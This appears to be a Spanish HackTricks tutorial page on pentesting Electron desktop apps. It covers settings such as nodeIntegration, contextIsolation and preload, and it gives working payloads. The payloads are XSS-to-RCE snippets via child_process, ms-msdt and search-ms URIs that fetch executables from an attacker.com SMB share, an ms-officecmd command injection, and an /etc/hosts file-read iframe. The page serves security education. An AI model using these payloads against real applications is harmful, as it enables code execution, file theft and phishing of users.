mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
314 lines
15 KiB
Markdown
314 lines
15 KiB
Markdown
# Aplicaciones de Escritorio Electron
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
## Introducción
|
|
|
|
Electron combina un backend local (con **NodeJS**) y un frontend (**Chromium**), aunque carece de algunos de los mecanismos de seguridad de los navegadores modernos.
|
|
|
|
Por lo general, puedes encontrar el código de la aplicación electron dentro de una aplicación `.asar`, para obtener el código necesitas extraerlo:
|
|
```bash
|
|
npx asar extract app.asar destfolder #Extract everything
|
|
npx asar extract-file app.asar main.js #Extract just a file
|
|
```
|
|
En el código fuente de una aplicación Electron, dentro de `packet.json`, puedes encontrar especificado el archivo `main.js` donde se configuran las opciones de seguridad.
|
|
```json
|
|
{
|
|
"name": "standard-notes",
|
|
"main": "./app/index.js",
|
|
```
|
|
Electron tiene 2 tipos de procesos:
|
|
|
|
- Proceso Principal (tiene acceso completo a NodeJS)
|
|
- Proceso de Renderizado (debería tener acceso restringido a NodeJS por razones de seguridad)
|
|
|
|
.png>)
|
|
|
|
Un **proceso de renderizado** será una ventana del navegador cargando un archivo:
|
|
```javascript
|
|
const { BrowserWindow } = require("electron")
|
|
let win = new BrowserWindow()
|
|
|
|
//Open Renderer Process
|
|
win.loadURL(`file://path/to/index.html`)
|
|
```
|
|
La configuración del **proceso de renderizado** se puede **configurar** en el **proceso principal** dentro del archivo main.js. Algunas de las configuraciones **prevenirán que la aplicación Electron obtenga RCE** u otras vulnerabilidades si las **configuraciones están correctamente establecidas**.
|
|
|
|
La aplicación Electron **podría acceder al dispositivo** a través de las APIs de Node, aunque se puede configurar para prevenirlo:
|
|
|
|
- **`nodeIntegration`** - está `desactivado` por defecto. Si está activado, permite acceder a las características de Node desde el proceso de renderizado.
|
|
- **`contextIsolation`** - está `activado` por defecto. Si está desactivado, los procesos principal y de renderizado no están aislados.
|
|
- **`preload`** - vacío por defecto.
|
|
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - está desactivado por defecto. Restringirá las acciones que NodeJS puede realizar.
|
|
- Integración de Node en Trabajadores
|
|
- **`nodeIntegrationInSubframes`** - está `desactivado` por defecto.
|
|
- Si **`nodeIntegration`** está **activado**, esto permitiría el uso de **APIs de Node.js** en páginas web que están **cargadas en iframes** dentro de una aplicación Electron.
|
|
- Si **`nodeIntegration`** está **desactivado**, entonces los preloads se cargarán en el iframe.
|
|
|
|
Ejemplo de configuración:
|
|
```javascript
|
|
const mainWindowOptions = {
|
|
title: "Discord",
|
|
backgroundColor: getBackgroundColor(),
|
|
width: DEFAULT_WIDTH,
|
|
height: DEFAULT_HEIGHT,
|
|
minWidth: MIN_WIDTH,
|
|
minHeight: MIN_HEIGHT,
|
|
transparent: false,
|
|
frame: false,
|
|
resizable: true,
|
|
show: isVisible,
|
|
webPreferences: {
|
|
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
|
|
nodeIntegration: false,
|
|
contextIsolation: false,
|
|
sandbox: false,
|
|
nodeIntegrationInSubFrames: false,
|
|
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
|
|
nativeWindowOpen: true,
|
|
enableRemoteModule: false,
|
|
spellcheck: true,
|
|
},
|
|
}
|
|
```
|
|
Algunos **RCE payloads** de [aquí](https://7as.es/electron/nodeIntegration_rce.txt):
|
|
```html
|
|
Example Payloads (Windows):
|
|
<img
|
|
src="x"
|
|
onerror="alert(require('child_process').execSync('calc').toString());" />
|
|
|
|
Example Payloads (Linux & MacOS):
|
|
<img
|
|
src="x"
|
|
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
|
|
<img
|
|
src="x"
|
|
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
|
|
<img
|
|
src="x"
|
|
onerror="alert(require('child_process').execSync('id').toString());" />
|
|
<img
|
|
src="x"
|
|
onerror="alert(require('child_process').execSync('ls -l').toString());" />
|
|
<img
|
|
src="x"
|
|
onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
|
```
|
|
### Captura de tráfico
|
|
|
|
Modifica la configuración de start-main y añade el uso de un proxy como:
|
|
```javascript
|
|
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
|
```
|
|
## Inyección de Código Local en Electron
|
|
|
|
Si puedes ejecutar localmente una aplicación de Electron, es posible que puedas hacer que ejecute código javascript arbitrario. Consulta cómo en:
|
|
|
|
{{#ref}}
|
|
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
|
|
{{#endref}}
|
|
|
|
## RCE: XSS + nodeIntegration
|
|
|
|
Si **nodeIntegration** está configurado en **on**, el JavaScript de una página web puede utilizar características de Node.js fácilmente solo llamando a `require()`. Por ejemplo, la forma de ejecutar la aplicación calc en Windows es:
|
|
```html
|
|
<script>
|
|
require("child_process").exec("calc")
|
|
// or
|
|
top.require("child_process").exec("open /System/Applications/Calculator.app")
|
|
</script>
|
|
```
|
|
<figure><img src="../../../images/image (1110).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
## RCE: preload
|
|
|
|
El script indicado en esta configuración se **carga antes que otros scripts en el renderer**, por lo que tiene **acceso ilimitado a las APIs de Node**:
|
|
```javascript
|
|
new BrowserWindow{
|
|
webPreferences: {
|
|
nodeIntegration: false,
|
|
preload: _path2.default.join(__dirname, 'perload.js'),
|
|
}
|
|
});
|
|
```
|
|
Por lo tanto, el script puede exportar node-features a páginas:
|
|
```javascript:preload.js
|
|
typeof require === "function"
|
|
window.runCalc = function () {
|
|
require("child_process").exec("calc")
|
|
}
|
|
```
|
|
|
|
```html:index.html
|
|
<body>
|
|
<script>
|
|
typeof require === "undefined"
|
|
runCalc()
|
|
</script>
|
|
</body>
|
|
```
|
|
> [!NOTE] > **Si `contextIsolation` está activado, esto no funcionará**
|
|
|
|
## RCE: XSS + contextIsolation
|
|
|
|
El _**contextIsolation**_ introduce **contextos separados entre los scripts de la página web y el código interno de JavaScript de Electron** para que la ejecución de JavaScript de cada código no afecte al otro. Esta es una característica necesaria para eliminar la posibilidad de RCE.
|
|
|
|
Si los contextos no están aislados, un atacante puede:
|
|
|
|
1. Ejecutar **JavaScript arbitrario en el renderizador** (XSS o navegación a sitios externos)
|
|
2. **Sobrescribir el método incorporado** que se utiliza en el preload o en el código interno de Electron a una función propia
|
|
3. **Activar** el uso de la **función sobrescrita**
|
|
4. ¿RCE?
|
|
|
|
Hay 2 lugares donde los métodos incorporados pueden ser sobrescritos: En el código de preload o en el código interno de Electron:
|
|
|
|
{{#ref}}
|
|
electron-contextisolation-rce-via-preload-code.md
|
|
{{#endref}}
|
|
|
|
{{#ref}}
|
|
electron-contextisolation-rce-via-electron-internal-code.md
|
|
{{#endref}}
|
|
|
|
{{#ref}}
|
|
electron-contextisolation-rce-via-ipc.md
|
|
{{#endref}}
|
|
|
|
### Bypass del evento de clic
|
|
|
|
Si hay restricciones aplicadas al hacer clic en un enlace, es posible que puedas eludirlas **haciendo un clic medio** en lugar de un clic izquierdo regular.
|
|
```javascript
|
|
window.addEventListener('click', (e) => {
|
|
```
|
|
## RCE a través de shell.openExternal
|
|
|
|
Para más información sobre estos ejemplos, consulta [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) y [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
|
|
|
Al implementar una aplicación de escritorio Electron, es crucial asegurar la configuración correcta de `nodeIntegration` y `contextIsolation`. Se ha establecido que **la ejecución remota de código del lado del cliente (RCE)** que apunta a scripts de precarga o al código nativo de Electron desde el proceso principal se previene de manera efectiva con estas configuraciones en su lugar.
|
|
|
|
Cuando un usuario interactúa con enlaces o abre nuevas ventanas, se activan oyentes de eventos específicos, que son cruciales para la seguridad y funcionalidad de la aplicación:
|
|
```javascript
|
|
webContents.on("new-window", function (event, url, disposition, options) {}
|
|
webContents.on("will-navigate", function (event, url) {}
|
|
```
|
|
Estos oyentes son **sobrescritos por la aplicación de escritorio** para implementar su propia **lógica de negocio**. La aplicación evalúa si un enlace navegado debe abrirse internamente o en un navegador web externo. Esta decisión se toma típicamente a través de una función, `openInternally`. Si esta función devuelve `false`, indica que el enlace debe abrirse externamente, utilizando la función `shell.openExternal`.
|
|
|
|
**Aquí hay un pseudocódigo simplificado:**
|
|
|
|
.png>)
|
|
|
|
.png>)
|
|
|
|
Las mejores prácticas de seguridad de Electron JS desaconsejan aceptar contenido no confiable con la función `openExternal`, ya que podría llevar a RCE a través de varios protocolos. Los sistemas operativos admiten diferentes protocolos que podrían desencadenar RCE. Para ejemplos detallados y una explicación adicional sobre este tema, se puede consultar [este recurso](https://positive.security/blog/url-open-rce#windows-10-19042), que incluye ejemplos de protocolos de Windows capaces de explotar esta vulnerabilidad.
|
|
|
|
**Ejemplos de exploits de protocolos de Windows incluyen:**
|
|
```html
|
|
<script>
|
|
window.open(
|
|
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
|
|
)
|
|
</script>
|
|
|
|
<script>
|
|
window.open(
|
|
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
|
|
)
|
|
</script>
|
|
|
|
<script>
|
|
window.open(
|
|
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
|
|
)
|
|
</script>
|
|
```
|
|
## Lectura de Archivos Internos: XSS + contextIsolation
|
|
|
|
**Deshabilitar `contextIsolation` permite el uso de `<webview>` tags**, similar a `<iframe>`, para leer y exfiltrar archivos locales. Un ejemplo proporcionado demuestra cómo explotar esta vulnerabilidad para leer el contenido de archivos internos:
|
|
|
|
.png>)
|
|
|
|
Además, se comparte otro método para **leer un archivo interno**, destacando una vulnerabilidad crítica de lectura de archivos locales en una aplicación de escritorio Electron. Esto implica inyectar un script para explotar la aplicación y exfiltrar datos:
|
|
```html
|
|
<br /><br /><br /><br />
|
|
<h1>
|
|
pwn<br />
|
|
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
|
|
<script type="text/javascript">
|
|
function j() {
|
|
alert(
|
|
"pwned contents of /etc/hosts :\n\n " +
|
|
frames[0].document.body.innerText
|
|
)
|
|
}
|
|
</script>
|
|
</h1>
|
|
```
|
|
## **RCE: XSS + Chromium Antiguo**
|
|
|
|
Si el **chromium** utilizado por la aplicación es **antiguo** y hay **vulnerabilidades** **conocidas** en él, podría ser posible **explotarlo y obtener RCE a través de un XSS**.\
|
|
Puedes ver un ejemplo en este **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
|
|
|
## **Phishing XSS a través de bypass de regex de URL interna**
|
|
|
|
Suponiendo que encontraste un XSS pero **no puedes activar RCE o robar archivos internos**, podrías intentar usarlo para **robar credenciales a través de phishing**.
|
|
|
|
Primero que nada, necesitas saber qué sucede cuando intentas abrir una nueva URL, revisando el código JS en el front-end:
|
|
```javascript
|
|
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
|
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
|
```
|
|
La llamada a **`openInternally`** decidirá si el **link** se **abrirá** en la **ventana de escritorio** ya que es un enlace que pertenece a la plataforma, **o** si se abrirá en el **navegador como un recurso de 3ra parte**.
|
|
|
|
En el caso de que la **regex** utilizada por la función sea **vulnerable a bypasses** (por ejemplo, al **no escapar los puntos de los subdominios**), un atacante podría abusar del XSS para **abrir una nueva ventana que** estará ubicada en la infraestructura del atacante **pidiendo credenciales** al usuario:
|
|
```html
|
|
<script>
|
|
window.open("<http://subdomainagoogleq.com/index.html>")
|
|
</script>
|
|
```
|
|
## **Herramientas**
|
|
|
|
- [**Electronegativity**](https://github.com/doyensec/electronegativity) es una herramienta para identificar configuraciones incorrectas y patrones de seguridad anti en aplicaciones basadas en Electron.
|
|
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) es un plugin de código abierto para VS Code para aplicaciones Electron que utiliza Electronegativity.
|
|
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) para verificar bibliotecas de terceros vulnerables.
|
|
- [**Electro.ng**](https://electro.ng/): Necesitas comprarlo.
|
|
|
|
## Laboratorios
|
|
|
|
En [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) puedes encontrar un laboratorio para explotar aplicaciones Electron vulnerables.
|
|
|
|
Algunos comandos que te ayudarán con el laboratorio:
|
|
```bash
|
|
# Download apps from these URls
|
|
# Vuln to nodeIntegration
|
|
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
|
|
# Vuln to contextIsolation via preload script
|
|
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
|
|
# Vuln to IPC Rce
|
|
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
|
|
|
|
# Get inside the electron app and check for vulnerabilities
|
|
npm audit
|
|
|
|
# How to use electronegativity
|
|
npm install @doyensec/electronegativity -g
|
|
electronegativity -i vulnerable1
|
|
|
|
# Run an application from source code
|
|
npm install -g electron
|
|
cd vulnerable1
|
|
npm install
|
|
npm start
|
|
```
|
|
## **Referencias**
|
|
|
|
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
|
|
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
|
|
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
|
- [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
|
|
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
|
|
- Más investigaciones y artículos sobre la seguridad de Electron en [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
|
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|